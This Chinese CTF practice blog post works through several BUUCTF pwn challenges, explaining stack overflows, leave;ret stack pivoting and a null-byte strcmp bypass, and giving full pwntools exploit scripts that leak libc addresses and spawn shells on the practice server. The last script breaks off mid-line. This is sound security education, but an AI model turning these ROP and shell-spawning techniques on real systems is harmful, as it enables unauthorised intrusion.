2021-08-30 BUUCTF刷题记录PWN

2021-08-30 BUUCTF刷题记录

刷题数量:13

题目分类:栈溢出、堆、pwn基础

[Black Watch 入群题]PWN

0x00 题目描述

Black Watch 入群题
PWN

0x01 分析思路

IDA拖进去看整体功能:
MAIN:![[Pasted image 20210830173411.png]]vul:![[Pasted image 20210830173447.png]]

分析后,可以看到的漏洞

  1. 栈溢出(读入32字节存入24的数组,溢出8字节)

刚开始,我也疑惑,这8字节放payload空间不够呀,怎么办?
后面看了看前辈的wp,还利用了前面的.bss段,具体思路:

  1. 泄露libc
    1. 通过.bss段写入要运行的payload
    2. 通过8字节构造一个短payload运行.bss代码
  2. getshell
    1. one_gadget

这边涉及了一些前置知识:
leave;ret;的gadget有什么用?

leave相当于汇编代码

mov rsp,rbp
pop rbp

相当于将当前栈顶指向了rbp的地址,然后弹出rbp一段代码为EIP(x64为8位)

如果我们把.bss地址设置为rbp,并且将payload写入.bss地址,运行这段代码

payload=b"a"*(0x18)#溢出
payload+=p32(s_addr-4)#rbp
payload+=p32(leave_ret)#ret地址

我们会先执行溢出修改的gadgetleave_ret地址,然后rbp设置为s_addr-4
动态流程:

asm:

mov rsp,rbp
pop rbp
ret

rsp=rbp
EIP=rbp+4(弹出一段4字节)的内存数据
ret (相当于 jmp EIP)

执行后,就相当于将程序返回(跳转)到了.bss的代码段,然后就执行写入.bss段的payload。

0x02 EXP

整体思路

  1. 写入payload到.bss
  2. leave特性将代码跳转到.bss段
    1. 泄露lib
    2. getshell

tips:

  1. 无法getshell试试
    1. 是不是libc的问题(本地与远程不一样)
    2. 换一种方式(system、其他gadget)
from pwn import *
context.log_level="debug"
#context.arch="i386"
name="/root/spwn"
p =remote("node4.buuoj.cn",25182)
elf=ELF(name)

main_addr=elf.sym['main']
read_got=elf.got["read"]
write_plt=elf.plt['write']
pause()
payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
#多试试 puts不行就write
p.sendafter(b'What is your name?',payload)



s_addr=0x0804A300

leave_ret=0x08048408 #: leave ; ret

payload=b"a"*(0x18)#24(buf)
payload+=p32(s_addr-4)
payload+=p32(leave_ret)

"""
leave=
mov rsp,rbp(rsp指向了.bss段)
pop rbp

pop eip(弹出的是.bss段的代码)
ret:
"""

#rop 正常
#payload+=p32(puts_plt)+p32(read_got)
p.sendafter(b'?',payload)#\n算1字节

leak=u32(p.recv(4))



libc=ELF("./x86/libc-2.23_buuctf.so")


libc_base=leak-libc.sym['read']

"""
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

"""
one_gadget=libc_base+0x3a80c


get=p32(one_gadget)+p32(main_addr)


p.sendafter(b"?",get)
p.sendafter(b"?",payload)

#p.sendlineafter(b'?',payload)
p.interactive()#W3lcAm3_t0_Bw

ez_pz_hackover_2016

0x00 题目描述

hackerover 2016

0x01 题目分析

IDA拖进去静态分析:
Main:![[Pasted image 20210830172237.png]]Chall:![[Pasted image 20210830172511.png]]vuln:![[Pasted image 20210830172537.png]]

大概分析程序主要的逻辑

  1. strcmp比较我们输入的字符是否为crashme
  2. 将输入的字符传入vuln函数

此题没有后门,所以我们只能利用栈溢出之类的漏洞进行ROP泄露地址
在vuln可以看到如果我们数据大小大于50就可造成栈溢出,很明显调用时传入1024长度就是栈溢出了。

如何过strcmp的同时还传入payload?

这边有一个前置知识,strlen()会遇到\x00字符截断,但其他的输入函数不会

我们利用这个特性,可以过掉strcmp,随后后门构造栈溢出的rop传给vuln完成泄露libc、getshell

0x02 思路

整体思路:

  1. 泄露libc
  2. getshell

给广大初学者说的话:

  • CTF虽然有很多的基础知识理论,但大多需要自己亲自去手动尝试,具体情况具体分析(偏向手动实验),不能太执着于学到的理论知识,需要保持一颗开放的好奇心。最主要是多自己手动动态调试才知道每一步是怎么运行的。

0x03 EXP

from pwn import *
context.log_level="debug"
context.arch="i386"
name="/root/ez_pz_hackover_2016"
p =remote("node4.buuoj.cn",27260)
elf=ELF(name)
libc=ELF("./x86/libc-2.23_buuctf.so")
main_addr=elf.sym['main']
goodgame=0x0000000000400620

printf_plt=elf.plt["printf"]
ptf_got=elf.got["printf"]
main_addr=elf.sym['main']



payload=b"crashme\x00"#过strcmp
payload+=b"a"*18+p32(printf_plt)+p32(main_addr)+p32(ptf_got)
"""
\x00可越过 strlen、strcmp
具体 动态调试确定
"""


pause()
p.sendlineafter("> ",payload)

p.recvuntil("crashme")
p.recvuntil("\n")

recvraw=p.recv(4)
leak_addr=u32(recvraw)
print("leak_addr : {}".format(hex(leak_addr)))
libc_base=leak_addr-libc.sym['printf']
one_gadget=libc_base+0x3a80c


#one_gadget getshell
payload=b"crashme\x00"
payload+=b"a"*18+p32(one_gadget)+p32(main_addr)+b"\x00"*90
p.sendlineafter("> ",payload)
p.interactive()

jarvisoj_tell_me_something

0x00 题目描述

浙大OJ的tell_me_something

0x01 题目分析

IDA进去,静态分析:

在这里插入图片描述

那么假设的整体思路:

  1. 构造栈溢出返回到gg函数gg

0x02 EXP

from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/guestbook"
p =remote("node4.buuoj.cn",26720)
elf=ELF(name)
main_addr=elf.sym['main']
goodgame=0x0000000000400620
#main不用rbp??
payload=b"a"*(0x88)+p64(goodgame)+p64(main_addr)
pause()
p.sendlineafter(":\n",payload)
p.interactive()

Jarvisoj_level3

0x00 题目描述

[[Jarvisoj]]:浙大_OJ

level3

0x01 题目思路

拖进IDA
MAIN:
![[Pasted image 20210830171629.png]]![[Pasted image 20210830171638.png]]

分析一下,很明显有栈溢出的漏洞

接下来,这类题的套路:

  1. 构造payload泄露libc地址
  2. getshell

0x02 EXP

整体思路

  1. 栈溢出泄露libc
  2. getshell

注意的点:

  • (x86)返回地址放call之后(参数前),程序会将下一个地址识别为返回地址(即ebp)
from pwn import *
context.log_level="debug"
context.arch="i386"
name="/root/level3"
p = remote("node4.buuoj.cn",29197)
libc=ELF("./x86/libc-2.23_buuctf.so")
#p=process(name)#

elf=ELF(name)

read_got=elf.got['read']
main_addr=elf.sym['main']
write_plt=elf.plt['write']


payload=b"a"*(0x88+4)
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
#返回地址放call之后(参数前),程序会将下一个地址识别为返回地址(即ebp)
sleep(0.2)
p.sendlineafter(b"Input:\n",payload)#leak
sleep(0.2)


leak_addr=p.recv(4).ljust(4,b"\x00")

print
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值